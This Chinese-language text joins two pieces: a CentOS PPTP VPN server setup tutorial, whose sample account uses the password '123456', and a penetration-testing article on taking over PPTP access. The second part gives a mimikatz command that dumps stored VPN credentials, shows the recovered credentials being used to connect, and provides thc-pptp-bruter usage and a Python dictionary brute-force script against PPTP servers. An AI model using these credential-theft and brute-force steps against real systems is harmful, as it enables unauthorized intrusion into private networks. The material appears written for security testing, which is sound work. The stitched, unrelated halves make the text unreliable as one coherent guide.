PPTP(Point-to-Point Tunneling Protocol),點對點隧道協議,使用一套通信規則,它在公共的互聯網上建立一個私人隧道供企業使用。也是實現虛擬專用網(也叫VPN)的方法之一。在windows和linux等平臺都能實現,我們下面要在Centos7.3 linux平臺上實現:
1. 查看系統是否支持PPP
一般自己的系統支持,VPS需要驗證。
#cat /dev/ppp
cat: /dev/ppp: No such device or address
如果出現上面提示則說明ppp是開啟的,可以實現pptp服務,若出現Permission denied等其他提示,無法實現pptp服務,需要確定ppp的功能是否打開,如果沒有則需要發個消息給你的運營商,讓他們幫你開通,否則100%無法成功配置PPTP。
2. 設置內核轉發
#vi /etc/sysctl.conf
添加:
net.ipv4.ip_forward = 1
# sysctl –p#生效
檢查是否生效:
sysctl -a|grep "net.ipv4.ip_forward = 1"
3. 安裝PPTP
#yum -y install pptpd#簡單
4. 配置PPTP
#vi /etc/pptpd.conf(修改如下兩條,去掉注釋)
localip 192.168.0.1 # 添加本機公網IP(localip)
remoteip 192.168.0.234-238,192.168.0.245#分配VPN用戶的內網網段(remoteip)
5. 設置用戶與密碼
#vi /etc/ppp/chap-secrets
"lxtvpn01" * "123456" *
6.編輯options/pptpd
#vi /etc/ppp/options.pptpd(修改對應的dns)
ms-dns 211.138.24.66
ms-dns 10.0.0.2
7. 啟動pptp
[root@oldboyedu ~]# systemctl start pptpd
8、檢查運行狀態:
systemctl status pptpd
9、檢查使用端口:
10. 通過windows客戶端連接VPN
控制面板\網絡和Internet\網絡和共享中心
11.開啟轉發規則(加入到開機自啟動中):
iptables -t nat -A POSTROUTING -s 192.168.0.0/20 -j SNAT --to *.*.*.*(服務器地址)
0x00 前言
PPTP(即點對點隧道協議)可以使遠程用戶通過撥入ISP訪問企業內網。
在滲透測試中,如果獲得了用戶的PPTP口令,就能遠程撥入內網,做進一步滲透。
本文將要介紹命令行下導出PPTP配置信息和口令的方法,開源PPTP口令爆破的腳本。
0x01 簡介
本文將要介紹以下內容:
· Windows系統命令行下PPTP配置信息和口令的獲取
· Windows系統命令行開啟和關閉VPN連接
· Windows系統連接PPTP的方法和細節
· Kali系統連接PPTP的方法和細節
· PPTP口令爆破的腳本細節
0x02 Windows系統命令行下PPTP配置信息和口令的獲取
1、獲取PPTP配置信息
Windows系統撥號和寬帶連接的配置信息存儲在固定位置,路徑如下:
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看該文件即可獲得PPTP連接的配置信息,包括服務器IP,不包含連接用戶名和口令
VPN連接的名稱為VPN Connection,如下圖:
PhoneNumber表示連接的服務器IP,如下圖:
2、獲得內網IP
ipconfig
獲得內網IP,如下圖
3、獲得PPTP口令
使用工具mimiaktz,命令如下:
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
獲得連接用戶名和口令,如下圖:
4、命令行下連接VPN
rasdial "VPN Connection" zhaodg oZ7iFk25
如下圖:
5、命令行關閉VPN連接
rasphone -h "VPN Connection"
0x03 Windows系統PPTP連接的方法和細節
1.如下圖所示:
2.如下圖所示:
3.如下圖所示:
4.選擇創建新連接
5.填入服務器IP,選中稍后連接
6.填入用戶名口令
7.點擊連接后,選擇跳過
接下來修改VPN屬性,Security->Type of VPN,選擇Point to Point Tunneling Protocol(PPTP)
注:創建成功后,指定Point to Point Tunneling Protocol(PPTP)可縮短連接等待的時間
8.連接
0x04 Kali系統PPTP連接的方法和細節
方法1:通過界面
1.安裝
apt-get install network-manager-pptp network-manager-pptp-gnome
2.Settings->Network->VPN
3.Identity->Advanced...
去掉PAP,CHAP,EAP
選擇Use Point-to-Point encryption(MPPE)
注:如果無法連接,修改文件/etc/NetworkManager/NetworkManager.conf
managed=false修改成managed=true
重啟系統
方法2:通過pptpsetup
1.連接
pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start
遠程IP為192.168.0.1,如下圖
2.修改路由表
將默認路由表修改為遠程IP
route del defaultroute add default gw 192.168.0.1
0x05 PPTP口令爆破
PPTP服務器默認開放1723端口
1、PPTP brute forcer
源代碼:
https://github.com/BlackArch/thc-pptp-bruter
kali默認支持
通過字典爆破的命令如下:
cat wordlist | thc-pptp-bruter -u zhaodg <IP>
如下圖
注:PPTP搭建于centos
2、編寫python腳本實現
有些設備的PPTP無法使用PPTP brute forcer進行爆破
于是嘗試使用python調用pptpsetup實現
通過os.popen執行命令,測試代碼如下:
import os
def test_vpn(ip,name,password):
command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
print command
vpn_status = os.popen(command).read()
print vpn_status
if __name__ == '__main__':
test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')
測試過程中出現bug:
如果登錄成功,進程pptp不會退出,導致腳本阻塞,無法獲得回顯。
只有結束進程pptp后,才能獲得回顯。
所以這里需要使用子進程的方式實現:子進程執行pptpsetup命令,父進程不等待。
隨之產生新的問題:如何獲得子進程的結果,判斷是否登錄成功。
這里選擇一個簡單直接的方法:等待10秒,然后執行ifconfig,如果登錄成功,會產生新的網卡設備ppp0,否則,當前用戶名口令錯誤。
登錄成功后,選擇清理進程,執行命令:
pkill pptp
清除連接信息:
pptpsetup --delete testvpn
完整代碼可參考:
https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py
代碼會讀取文件wordlist,獲得口令字典,對指定IP嘗試連接,連接成功后記錄口令,清除進程和連接
測試如下圖:
0x06 小結
本文介紹了命令行下導出PPTP配置信息和口令的方法,通過命令行能夠實現開啟和關閉VPN連接。
實例演示了Windows和Kali系統連接PPTP的方法,最后開源了調用pptpsetup實現PPTP口令爆破的腳本,分析腳本實現細節。